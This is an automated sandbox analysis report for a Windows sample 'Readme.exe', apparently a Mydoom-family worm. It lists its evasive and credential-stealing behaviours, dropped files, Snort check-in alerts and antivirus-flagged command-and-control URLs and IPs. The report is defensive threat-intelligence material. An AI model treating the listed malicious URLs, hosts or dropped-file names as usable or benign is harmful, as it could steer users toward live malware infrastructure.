Edit tour

Windows Analysis Report
Readme.exe

Overview

General Information

Sample Name:	Readme.exe
Analysis ID:	734265
MD5:	524f7a2e27d9d2adcc83d8836f1a37ac
SHA1:	323762820afaa918068a5d4c01171bdc6be655b2
SHA256:	8ddd79c7d77cc826b18f9dbaaebc2735d68c78b2e9c9fa8407a5d549cb893769
Tags:	exe
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Antivirus detection for dropped file

Snort IDS alert for network traffic

Found evasive API chain (may stop execution after checking mutex)

Found stalling execution ending in API Sleep call

Contain functionality to detect virtual machines

Found API chain indicative of debugger detection

Machine Learning detection for sample

Send many emails (e-Mail Spam)

PE file has nameless sections

Machine Learning detection for dropped file

Tries to resolve many domain names, but no domain seems valid

Drops executables to the windows directory (C:\Windows) and starts them

Contains functionality to detect sleep reduction / modifications

Tries to harvest and steal browser information (history, passwords, etc)

Uses 32bit PE files

Found decision node followed by non-executed suspicious APIs

Antivirus or Machine Learning detection for unpacked file

One or more processes crash

Contains functionality to check if a debugger is running (IsDebuggerPresent)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Detected potential crypto function

Found potential string decryption / allocating functions

Contains functionality to dynamically determine API calls

Uses the system / local time for branch decision (may execute only at specific dates)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Connects to many different domains

Entry point lies outside standard sections

Contains long sleeps (>= 3 min)

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Uses SMTP (mail sending)

Found evasive API chain (may stop execution after accessing registry keys)

Uses Microsoft's Enhanced Cryptographic Provider

May check if the current machine is a sandbox (GetTickCount - Sleep)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

Readme.exe (PID: 5456 cmdline: C:\Users\user\Desktop\Readme.exe MD5: 524F7A2E27D9D2ADCC83D8836F1A37AC)

smnss.exe (PID: 5492 cmdline: C:\Windows\system32\smnss.exe MD5: 6F579EC4EA6BEBA7521B137235827184)

WerFault.exe (PID: 5068 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5492 -s 2960 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

smnss.exe (PID: 5512 cmdline: C:\Windows\system32\smnss.exe MD5: 6F579EC4EA6BEBA7521B137235827184)

smnss.exe (PID: 5572 cmdline: C:\Windows\system32\smnss.exe MD5: 6F579EC4EA6BEBA7521B137235827184)

smnss.exe (PID: 5588 cmdline: C:\Windows\system32\smnss.exe MD5: 6F579EC4EA6BEBA7521B137235827184)

smnss.exe (PID: 5604 cmdline: C:\Windows\system32\smnss.exe MD5: 6F579EC4EA6BEBA7521B137235827184)

smnss.exe (PID: 5620 cmdline: C:\Windows\system32\smnss.exe MD5: 6F579EC4EA6BEBA7521B137235827184)

smnss.exe (PID: 5636 cmdline: C:\Windows\system32\smnss.exe MD5: 6F579EC4EA6BEBA7521B137235827184)

smnss.exe (PID: 5652 cmdline: C:\Windows\system32\smnss.exe MD5: 6F579EC4EA6BEBA7521B137235827184)

ctfmen.exe (PID: 5660 cmdline: ctfmen.exe MD5: D6F2DA9F8A296D2734248C82ADC462B4)

smnss.exe (PID: 5680 cmdline: C:\Windows\system32\smnss.exe MD5: 6F579EC4EA6BEBA7521B137235827184)

cleanup

Snort Signatures

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 192.187.111.221

Timestamp:	192.168.2.5192.187.111.22149896802807186 10/31/22-13:20:22.355478
SID:	2807186
Source Port:	49896
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 192.187.111.221

Timestamp:	192.168.2.5192.187.111.22149896802807187 10/31/22-13:20:22.355478
SID:	2807187
Source Port:	49896
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20350087802807187 10/31/22-13:20:54.489196
SID:	2807187
Source Port:	50087
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 199.59.243.222

Timestamp:	192.168.2.5199.59.243.22250123802807187 10/31/22-13:20:56.912212
SID:	2807187
Source Port:	50123
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20350087802807186 10/31/22-13:20:54.489196
SID:	2807186
Source Port:	50087
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349909802807187 10/31/22-13:20:24.536022
SID:	2807187
Source Port:	49909
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 199.59.243.222

Timestamp:	192.168.2.5199.59.243.22250123802807186 10/31/22-13:20:56.912212
SID:	2807186
Source Port:	50123
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349909802807186 10/31/22-13:20:24.536022
SID:	2807186
Source Port:	49909
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst - Source IP: 72.5.161.12 - Destination IP: 192.168.2.5

Timestamp:	72.5.161.12192.168.2.580496832037771 10/31/22-13:19:30.191150
SID:	2037771
Source Port:	80
Destination Port:	49683
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 81.17.18.196

Timestamp:	192.168.2.581.17.18.19649786802807186 10/31/22-13:19:38.132530
SID:	2807186
Source Port:	49786
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349937802807186 10/31/22-13:20:26.586645
SID:	2807186
Source Port:	49937
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 81.17.18.196

Timestamp:	192.168.2.581.17.18.19649786802807187 10/31/22-13:19:38.132530
SID:	2807187
Source Port:	49786
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349937802807187 10/31/22-13:20:26.586645
SID:	2807187
Source Port:	49937
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349726802807187 10/31/22-13:19:33.158870
SID:	2807187
Source Port:	49726
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349726802807186 10/31/22-13:19:33.158870
SID:	2807186
Source Port:	49726
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349980802807186 10/31/22-13:20:28.917106
SID:	2807186
Source Port:	49980
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349980802807187 10/31/22-13:20:28.917106
SID:	2807187
Source Port:	49980
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349737802807187 10/31/22-13:19:34.061061
SID:	2807187
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349737802807186 10/31/22-13:19:34.061061
SID:	2807186
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349921802807186 10/31/22-13:20:25.545727
SID:	2807186
Source Port:	49921
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 72.5.161.12

Timestamp:	192.168.2.572.5.161.1249683802807187 10/31/22-13:19:29.778995
SID:	2807187
Source Port:	49683
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349921802807187 10/31/22-13:20:25.545727
SID:	2807187
Source Port:	49921
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 72.5.161.12

Timestamp:	192.168.2.572.5.161.1249683802807186 10/31/22-13:19:29.778995
SID:	2807186
Source Port:	49683
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 199.59.243.222

Timestamp:	192.168.2.5199.59.243.22250054802807186 10/31/22-13:20:34.037259
SID:	2807186
Source Port:	50054
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 199.59.243.222

Timestamp:	192.168.2.5199.59.243.22250054802807187 10/31/22-13:20:34.037259
SID:	2807187
Source Port:	50054
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20350104802807187 10/31/22-13:20:55.522123
SID:	2807187
Source Port:	50104
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20350104802807186 10/31/22-13:20:55.522123
SID:	2807186
Source Port:	50104
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349690802807187 10/31/22-13:19:31.317467
SID:	2807187
Source Port:	49690
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349690802807186 10/31/22-13:19:31.317467
SID:	2807186
Source Port:	49690
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349721802807186 10/31/22-13:19:32.645713
SID:	2807186
Source Port:	49721
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 63.251.126.10

Timestamp:	192.168.2.563.251.126.1049750802807187 10/31/22-13:19:35.682587
SID:	2807187
Source Port:	49750
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 63.251.126.10

Timestamp:	192.168.2.563.251.126.1049750802807186 10/31/22-13:19:35.682587
SID:	2807186
Source Port:	49750
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20350034802807186 10/31/22-13:20:33.100885
SID:	2807186
Source Port:	50034
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349721802807187 10/31/22-13:19:32.645713
SID:	2807187
Source Port:	49721
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349907802807186 10/31/22-13:20:24.072659
SID:	2807186
Source Port:	49907
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20350034802807187 10/31/22-13:20:33.100885
SID:	2807187
Source Port:	50034
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349907802807187 10/31/22-13:20:24.072659
SID:	2807187
Source Port:	49907
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 81.17.29.146

Timestamp:	192.168.2.581.17.29.14649795802807187 10/31/22-13:19:38.457723
SID:	2807187
Source Port:	49795
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349957802807186 10/31/22-13:20:27.655570
SID:	2807186
Source Port:	49957
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 81.17.29.146

Timestamp:	192.168.2.581.17.29.14649795802807186 10/31/22-13:19:38.457723
SID:	2807186
Source Port:	49795
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349957802807187 10/31/22-13:20:27.655570
SID:	2807187
Source Port:	49957
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349686802807187 10/31/22-13:19:30.496187
SID:	2807187
Source Port:	49686
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349686802807186 10/31/22-13:19:30.496187
SID:	2807186
Source Port:	49686
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 199.59.243.222

Timestamp:	192.168.2.5199.59.243.22249811802807187 10/31/22-13:19:40.021080
SID:	2807187
Source Port:	49811
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 199.59.243.222

Timestamp:	192.168.2.5199.59.243.22249811802807186 10/31/22-13:19:40.021080
SID:	2807186
Source Port:	49811
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 81.17.18.195

Timestamp:	192.168.2.581.17.18.19549922802807187 10/31/22-13:20:25.821270
SID:	2807187
Source Port:	49922
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 81.17.18.196

Timestamp:	192.168.2.581.17.18.19649773802807187 10/31/22-13:19:37.212553
SID:	2807187
Source Port:	49773
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 81.17.18.196

Timestamp:	192.168.2.581.17.18.19649773802807186 10/31/22-13:19:37.212553
SID:	2807186
Source Port:	49773
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 81.17.18.195

Timestamp:	192.168.2.581.17.18.19549922802807186 10/31/22-13:20:25.821270
SID:	2807186
Source Port:	49922
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 81.17.29.147

Timestamp:	192.168.2.581.17.29.14750093802807187 10/31/22-13:20:54.967476
SID:	2807187
Source Port:	50093
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 81.17.29.147

Timestamp:	192.168.2.581.17.29.14750093802807186 10/31/22-13:20:54.967476
SID:	2807186
Source Port:	50093
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 199.59.243.222

Timestamp:	192.168.2.5199.59.243.22249841802807187 10/31/22-13:20:00.372936
SID:	2807187
Source Port:	49841
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 199.59.243.222

Timestamp:	192.168.2.5199.59.243.22249841802807186 10/31/22-13:20:00.372936
SID:	2807186
Source Port:	49841
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349798802807186 10/31/22-13:19:38.799231
SID:	2807186
Source Port:	49798
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20350115802807187 10/31/22-13:20:56.296701
SID:	2807187
Source Port:	50115
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20350115802807186 10/31/22-13:20:56.296701
SID:	2807186
Source Port:	50115
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 81.17.29.150

Timestamp:	192.168.2.581.17.29.15049780802807186 10/31/22-13:19:37.816042
SID:	2807186
Source Port:	49780
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst - Source IP: 63.251.126.10 - Destination IP: 192.168.2.5

Timestamp:	63.251.126.10192.168.2.580497502037771 10/31/22-13:19:36.110741
SID:	2037771
Source Port:	80
Destination Port:	49750
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 81.17.29.150

Timestamp:	192.168.2.581.17.29.15049780802807187 10/31/22-13:19:37.816042
SID:	2807187
Source Port:	49780
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 81.17.29.149

Timestamp:	192.168.2.581.17.29.14949768802807187 10/31/22-13:19:36.662756
SID:	2807187
Source Port:	49768
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 192.187.111.221

Timestamp:	192.168.2.5192.187.111.22149919802807186 10/31/22-13:20:25.189597
SID:	2807186
Source Port:	49919
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 81.17.29.149

Timestamp:	192.168.2.581.17.29.14949768802807186 10/31/22-13:19:36.662756
SID:	2807186
Source Port:	49768
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 192.187.111.221

Timestamp:	192.168.2.5192.187.111.22149919802807187 10/31/22-13:20:25.189597
SID:	2807187
Source Port:	49919
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349798802807187 10/31/22-13:19:38.799231
SID:	2807187
Source Port:	49798
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: Readme.exe

ReversingLabs: Detection: 87%

Antivirus / Scanner detection for submitted sample

Source: Readme.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://eqprsrnprs.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	Avira URL Cloud: Label: malware
Source: http://ennmqsmqna.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	Avira URL Cloud: Label: malware
Source: http://emhmmwaasa.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	Avira URL Cloud: Label: malware
Source: http://wpqqhhspps.in/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	Avira URL Cloud: Label: malware
Source: http://aanparshnh.com/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	Avira URL Cloud: Label: malware
Source: http://ehrawpsrms.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	Avira URL Cloud: Label: malware
Source: http://aharwhphnh.com/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	Avira URL Cloud: Label: malware
Source: http://emnhnawmen.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	Avira URL Cloud: Label: malware
Source: http://eshmhnprpa.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	Avira URL Cloud: Label: malware
Source: http://emrmmpsarh.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	Avira URL Cloud: Label: malware
Source: http://empewsqsqa.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	Avira URL Cloud: Label: malware
Source: http://asnrrsamsa.com/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	Avira URL Cloud: Label: malware
Source: http://aewrhprres.com/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	Avira URL Cloud: Label: malware
Source: http://erphseshhh.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	Avira URL Cloud: Label: malware
Source: http://eqnhphnqms.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	Avira URL Cloud: Label: malware
Source: http://rsrsemnren.org/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	Avira URL Cloud: Label: malware
Source: http://ehqapshmqs.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	Avira URL Cloud: Label: malware
Source: http://ehnwnaqnss.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	Avira URL Cloud: Label: malware
Source: http://ersaenrnwh.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: aharwhphnh.com

Virustotal: Detection: 12%

Perma Link

Antivirus detection for dropped file

Source: C:\Windows\SysWOW64\ctfmen.exe	Avira: detection malicious, Label: TR/Crypt.ULPM.Gen
Source: C:\Windows\SysWOW64\grcopy.dll	Avira: detection malicious, Label: TR/Proxy.Gen
Source: C:\Windows\SysWOW64\smnss.exe	Avira: detection malicious, Label: TR/Proxy.Gen
Source: C:\Windows\SysWOW64\shervans.dll	Avira: detection malicious, Label: BDS/Backdoor.Gen
Source: C:\Windows\SysWOW64\satornas.dll	Avira: detection malicious, Label: HTML/ExpKit.Gen2

Machine Learning detection for sample

Source: Readme.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\Windows\SysWOW64\ctfmen.exe	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\grcopy.dll	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\zipfiaq.dll	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\smnss.exe	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\zipfi.dll	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\shervans.dll	Joe Sandbox ML: detected

Source: 1.3.smnss.exe.9f9148.28.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 1.3.smnss.exe.9fb5d0.26.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 7.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 5.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 8.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 1.3.smnss.exe.9f9148.24.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 1.3.smnss.exe.9f1ed0.13.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 1.3.smnss.exe.9b8ab8.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 4.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 4.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 8.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 1.3.smnss.exe.9f9148.27.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 3.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 5.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 1.0.smnss.exe.400000.6.unpack	Avira: Label: TR/Proxy.Gen
Source: 8.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 8.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 3.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 3.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 2.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 1.3.smnss.exe.9f9148.22.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 3.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 1.3.smnss.exe.9baa30.10.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 1.3.smnss.exe.9f9148.25.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 4.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 1.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 2.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 6.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 6.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 1.0.smnss.exe.400000.4.unpack	Avira: Label: TR/Proxy.Gen
Source: 6.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
